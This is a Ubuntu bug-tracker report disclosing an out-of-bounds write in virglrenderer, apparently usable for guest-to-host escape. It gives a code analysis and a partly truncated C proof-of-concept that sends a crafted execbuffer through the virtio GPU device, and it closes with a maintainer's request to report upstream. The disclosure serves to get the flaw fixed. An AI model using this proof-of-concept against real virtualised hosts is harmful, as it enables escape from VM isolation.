OOB write in the vrend_renderer_transfer_write_iov on virglrenderer
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
virglrenderer (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned | ||
Bionic |
Triaged
|
Undecided
|
Unassigned | ||
Focal |
Fix Released
|
Undecided
|
Unassigned | ||
Impish |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
Env
===
Description: Ubuntu 20.04.3 LTS
Release: 20.04
Package
=======
virglrenderer
Vulnerability
=============
The send_size calculated in the vrend_renderer_
different from it in the read_transfer_
We can escape from guest to run code in the host by using this bug & Bug #1950784.
Specifically, the vrend_renderer_
send_size as following:
-------
src/vrend_
vrend_renderer_
|
| elsize = util_format_
| send_size = util_format_
| info->box->width,
| info->box->height) * elsize;
| if (res->target == GL_TEXTURE_3D ||
| res->target == GL_TEXTURE_2D_ARRAY ||
| res->target == GL_TEXTURE_
| send_size *= info->box->depth;
|
| data = malloc(send_size);
| read_transfer_
-------
The depth is considered only if the target is 3D/2D_ARRAY/
If the target does not belong to these types, the depth is not included
in the send_size.
To make the result more clear, I unfold the calculation:
send_size = util_format_
However, the read_transfer_
the type of target:
-------
read_transfer_
|
| blsize = util_format_
| send_size = util_format_
| box->height) * blsize * box->depth
| bwx = util_format_
| bh = util_format_
|
| for (d = 0; d < box->depth; d++) {
| uint32_t myoffset = offset + d * src_layer_stride;
| for (h = 0; h < bh; h++) {
| void *ptr = data + (h * bwx) + d * (bh * bwx);
| vrend_read_
| myoffset += src_stride;
| }
| }
-------
The calculation of send_size is as following:
send_size = util_format_
The result of it is larger than it in the vrend_renderer_
But, this function does not use it. Instead, it introduce the bwx and bh:
I unfold the calculation of bwx:
bwx = util_format_
In the loop, we assume the variables have the following value:
d = box->depth - 1
h = bh - 1
And the ptr is:
ptr = data + (h * bwx) + d * (bh * bwx)
ptr = data + ((bh - 1) * bwx) + (box->depth - 1) * (bh * bwx)
ptr = data + (bh * bwx) - bwx + (box->depth - 1) * (bh * bwx)
ptr = data + box->depth * (bh * bwx) - bwx
And the copy length is:
len = bwx
So the upper bound is:
ptr + len = data + box->depth * (bh * bwx) - bwx + bwx
ptr + len = data + box->depth * (bh * bwx)
The total length is:
len = box->depth * (bh * bwx)
len = box->depth * (send_size) // the data length
len > send_size // OOB write
The PoC is as following:
#define VIRTIO_DEV "/dev/dri/
#define WIDTH 8
#define HEIGHT 4
#define IMG_DATA_SIZE (0xffff)
#define IMG_SIZE ((IMG_DATA_SIZE+1) * 4)
static int is_virgl_3d(int dev)
{
int ret;
int virgl = 0;
struct drm_virtgpu_
param.param = VIRTGPU_
param.value = (unsigned long)&virgl;
ret = ioctl(dev, DRM_IOCTL_
if (ret == -1)
ERR("
return virgl;
}
static int virgl_create_
{
int ret;
struct drm_virtgpu_
resource.target = PIPE_TEXTURE_
resource.format = VIRGL_FORMAT_
resource.
resource.
resource.
resource.bind = VIRGL_BIND_
resource.depth = 1;
resource.width = WIDTH;
resource.height = HEIGHT;
resource.size = 4096;
resource.flags = 0;
ret = ioctl(dev, DRM_IOCTL_
if (ret == -1) {
ERR("
return -1;
}
return resource.
}
static int virgl_fill_
{
*ptr = (len << 16) | (type & 0xff);
return sizeof(uint32_t);
}
static int virgl_execbuffe
{
int ret;
uint32_t len, total_len = 0;
uint32_t *ptr = NULL;
char *buf;
struct drm_virtgpu_
buf = malloc(IMG_SIZE);
if (buf == NULL) {
ERR("malloc()");
return -1;
}
memset(buf, 0x12, IMG_SIZE);
execbuf.flags = 0;
execbuf.bo_handles = 0;
execbuf.
execbuf.fence_fd = 0;
execbuf.command = (unsigned long)buf;
ptr = (uint32_t*)buf;
len = 0;
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
*(ptr + VIRGL_RESOURCE_
len = IMG_SIZE/4 - 1;
LOG("data len=%#x\n", len);
virgl_
LOG("data header=%#x\n", *ptr);
execbuf.size = IMG_SIZE;
ret = ioctl(dev, DRM_IOCTL_
if (ret == -1)
ERR("
free(buf);
return ret;
}
int main(void)
{
int dev;
int res_hdl;
dev = open(VIRTIO_DEV, O_RDONLY);
if (dev == -1) {
ERR("open %s", VIRTIO_DEV);
return 0;
}
if (!is_virgl_3d(dev)) {
LOG("virgl_3d is NOT enabled\n");
goto out_dev;
}
res_hdl = virgl_create_
if (res_hdl == -1)
goto out_dev;
LOG("resource_
virgl_
out_dev:
close(dev);
return 0;
}
Hi,
Have you reported this issue to the virglrenderer developers?
If not, please report it to them. The bug tracker is here:
https:/ /gitlab. freedesktop. org/virgl/ virglrenderer/ -/issues
Once you have done that, please let us know the bug number and once a fix is available we will package it for Ubuntu.
Thanks!